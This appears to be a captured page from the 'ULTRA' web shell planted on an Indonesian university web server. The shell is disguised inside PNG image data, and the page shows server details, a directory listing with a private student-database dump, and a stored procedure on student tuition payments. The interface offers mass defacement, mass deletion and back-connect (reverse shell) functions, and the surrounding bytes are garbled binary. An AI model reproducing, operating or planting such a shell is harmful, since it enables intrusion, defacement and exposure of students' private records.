ULTRA [ dhmd.unla.ac.id ]

‰PNG IHDR @ @ ªiqÞ pHYs šœ —tEXtComment ULTRA [ dhmd.unla.ac.id ]

Linux unla-WEB 3.19.0-80-generic #88~14.04.1-Ubuntu SMP Fri Jan 13 14:54:07 UTC 2017 x86_64

Apache/2.4.7 (Ubuntu)

103.184.53.210 | Your IP: 192.168.112.121

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ home / p.unla.ac.id / SP_n_Func /

Home Upload Mass Deface Mass Delete Back Connect Notify

sp_getDppDet.sql

CREATE PROCEDURE sp_getDppDet(IN kdprodi VARCHAR(5), idjnskls INT, kdstsemester VARCHAR(5), persen INT)
BEGIN
	SELECT nim, nmmhs,kdprodi,
					biaya,jmlbayar,ifnull(jmlbayar*100/biaya,0) as persenbayar,
					(biaya-jmlbayar) as sisa, ifnull((1 - jmlbayar/biaya)*100,0) as persensisa,
					CASE WHEN (jmlbayar < biaya) THEN 'Belum Lunas'
						WHEN (jmlbayar=biaya) THEN 'Lunas'
					ELSE 'N/A' END AS stlunas
					FROM(
						SELECT A.nim, A.nmmhs, A.kdprodi, IFNULL(C.biaya,0) as biaya, 
						IFNULL(D.jmlbayar,0) as jmlbayar
						FROM mahasiswa A
						LEFT JOIN klsmhs B ON B.idklsmhs=A.idklsmhs
						LEFT JOIN
						(
							select a.idjnsbiaya, a.biaya,a.idjnskls,a.kdprodi,a.tahunmsk
							from setbiaya a
							left join jbiaya b on b.idjnsbiaya=a.idjnsbiaya
							where a.idstatus=1
							and b.kdjnsbiaya='DPP'
						)C on C.kdprodi=A.kdprodi and C.tahunmsk=A.thnmasuk and C.idjnskls=B.idjnskls
						LEFT JOIN
						(
							select nim,idjnsbiaya,sum(jmlbayar) as jmlbayar
							from kuitansi k
							where idstkuitansi=1
							and k.kdstsemester= kdstsemester
							group by nim,idjnsbiaya
						)D on D.nim=A.nim and D.idjnsbiaya=C.idjnsbiaya
						WHERE A.kdprodi=kdprodi
						AND B.idjnskls=idjnskls
					)FINAL
					where ifnull(jmlbayar*100/biaya,0)>=persen
				ORDER BY nim;
END;

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2023-09-12 07:22:13
..	dir	-	root/root	drwxr-xr-x	2023-09-14 11:41:39
siak-unla-private-complete.sql	text/plain	9.87 MB	root/root	-rw-rw-r--	2013-08-02 02:51:42
sp_getDpkAllProdi.sql	text/plain	1.97 KB	root/root	-rw-rw-r--	2013-08-01 11:19:14
sp_getDpkDet.sql	text/plain	1.29 KB	root/root	-rw-rw-r--	2013-08-01 11:08:26
sp_getDppAllProdi.sql	text/plain	1.98 KB	root/root	-rw-rw-r--	2013-08-24 11:32:14
sp_getDppDet.sql	text/plain	1.31 KB	root/root	-rw-rw-r--	2013-08-24 11:34:24
sp_getTunggakanAllProdi.sql	text/plain	1.94 KB	root/root	-rw-rw-r--	2013-08-01 11:49:14
sp_getTunggakanDet.sql	text/plain	1.32 KB	root/root	-rw-rw-r--	2013-08-17 06:10:14

© ULTRA

9HO˜ IDATxœí› °•UÇÿ<”¡ ñPjÀÓd*E)"˜šA‘‰RÌÀ$‘,`AÒÒT Ç ÂBÅ0Ëh¦B"â‚Zå«TÞÆK÷óžf5¿Õ¬6çÜ{¾sî ™á?³ç~gû±¾½×{ï+ÄIÔ5šHê+i¼¤Y’^ô†¤w$¤¼C½û±¤q’>'©±NP´•t‹¤JI‡$åJ,¶8‹$}SRk è%é7’Ž„°X,iŠ¤¯HºXRgIMéc[Hê(©'m€&ãüŠþï9ô–´${@Ò’J:CÒù’FIzDÒÂ"°ZÒ$=,é’ºJj.iˆ¤¹Œéãÿ‘Å:îh/iN ì_’ÆJú Ü`ò¼Ø,iš¤K$µ‘4‘9ì]•¤Ç˜ë¸`°¤w!f Š«¥¤¯³ÃñCÞ@ÞÄÂœƒrtœ.©‹¤Ëà[¸µÉ¯Kºq±…ØK½qÏÿÏlê„™\¶“ôeICýzI$}¬Œ¹>"iR²ëXüöèçÓ1§ªŽÑ¶I÷ñÑÑÔNàß%])©a-ÎÛ@Ò I ó<‡â-V÷û \k%`¢5’>.éjI»‚ü›¯_W0öµAìd±»Iz›º?Kª¨‹_Á¯Áò÷…Ýøy]LZ Zb|þ»$}HÒ«ašÖ¦Ì/dà—øøYü>,éF?Ü FËtôÂ*~ÿ®¶tÂÃA©>>‡o\è™'¬ç÷Ê|0íÆ™q¶ß‹fÞ"ixrÿ-IcJì[Ÿ¹·@ËÞ ÝqœªÊ1‘íƒÿjXissûK)éÜÜ™´&|GÒý’>Œ?à;×‹:{w[ãtgÎJh0Z.—t”ñ®D<ÜO(ÉYšÃ s1u®í-0qçe; 5LÒ~IÖ }—Žâ<ùìÄÛ8…PÁæ>_ÏÜÛ¡Å0:X‡ŽÁO0±ÍìÛçøè6ÁÎ?´›ŠWv[°›Ù³Ý)$ÞÝ† ¯^l® ssPÈ³˜Ûhˆøeâ'ìE2QKd,ÎNŽ•¶Åˆ8ïÏMR%uÔ,—ôé¤ý8Ú=ƒüv¥'x²ww$}>ÅX¶x JøUæ¶ù"ÚÁö9tØí<ME¡6bÿÝ½56Ï‡…I¤fŽŠðÜÖAp› »¤p/ÏâÑgc\h‹¡¶Í×ò~-bã ’nH^¸ÜŒ#°qÖ.¤é &,|ˆ~õpFîFSß,©œdí:„1šóaûés3}¾‚¦þA){±¹U@dVÒæ:DÅ9¯ÆLÎaI{$½?DuC«ésJàwG<‹*"½ßJz9f¢åè¸îeÚšâ5t’4/ŒûvhksÂ0Ú„›³9Õz¬cèôD…5E6h»vuÅv”ÐÖåÔlò[¼›ú7Ìåv»fñ@°£‚¾±9«CCÄ'‡ü5Ï–l)ˆJ]á9X¸&´ ¹¿1õ=¥UÅ®ö‘ô‰àL}›²›ºËÑO×úÎ$ëÏïCÌYîeŒGÑI9”i^4eàýdc=“s¡ŠÃSà ¡Žä÷v'Š«*‘e÷æ‡wFËO%] =·‡µ¹ŠA· 6-ƒž9-_ãÏÓx1“æ`×bqiœeoEñµ`§·&~9¿XgœqNN}BìÔW°¹ŠÅú˜.ãù³ùŽ,?*è‚,x…Å³ØJE•““1EØ#©{„¶§%!ïR.›# ž¤¿9R?äÙ6ã¸ƒ1"\ž³`$D‹¬¯þjÊ\düÝàY>bŒ/ÒfuØíøö‚õmŽ,¸•qL,¿–Gÿ/ðò“¤sX‚,ˆñØÝƒÁ5Â¼¹§Ë?ˆêè¸n°"¡ô¢ßŸÕ.ˆ©qå1póÔ6<[ö6+Ì7ÿ.íª×ïÍDú¹€ÿ®‚ÅsôˆÞ˜„^HýþbpnàÂŽÕx¢rß$<—FŽÊp ^¤G’9œ¬épÇJ§ u{B»Ýô]«mÃ‚Vðl‹z|'†çê<]HC¥&.î¶)Èf´ïC³œgñnDÂ±T1‡ÍU,Ñ÷@òœwªA' ¯½LàNÏV|íýa§Gpªãfq,¶~> 2¯r—0†sÆ~Î!¶2g1‰ÏÆÅ.À6^žžAc£g¡ÐÙÄú&ýÂ\ˆ‚ÛËï>”Ô½H_€~Œ±IÒÏÂÂŽäXl=4#[k·xùÁðìIŠ®xtóÏlj!è5X’M¡ÞdY87O#×Ó)‡¨óˆ3´n"IrMrB4ƒ¹W@‹Ñ”çÅ×1(ãcð!¸,ÙŒÿÁOx9,8BæD½àg…ò~]ˆã§À®÷gfCP¨ž\ ‡uá®§Ù÷wcÍÆi]Àå a0›=C²×ô[A´Á>›´"€°NÊ$&î²Åä…0%áŽÚ8×\•$Ek¼n7/˜Àx^^ <ÄÞ—ç€Å=¶ýÅ°ihÀM•‡.“x¶DM¸,(Ž–Øð4] ® »kþ} ?ÌÌ…ƒRFZ%±EQ¨\04hdKt–ŠS‚kìY£ˆg‚žÈ…¦¨`órˆÁÁ¼ÏÐi—"Ü56÷µL¬&Ùê9|kSž NˆUU)+g _0çñÊ¹ÓbvpöÐz GÚU!V Üƒµ±Îæ,"Gz=3Ú2Ÿ¯ NŠ'0²¢>yS»2‡ºª2”m¿p83 d¦vPºEa`ÐÜçc»Ýa±cë¬¨Î _†Â®V÷Ïé¼88XßK’±_R™x,ksVˆ÷”È “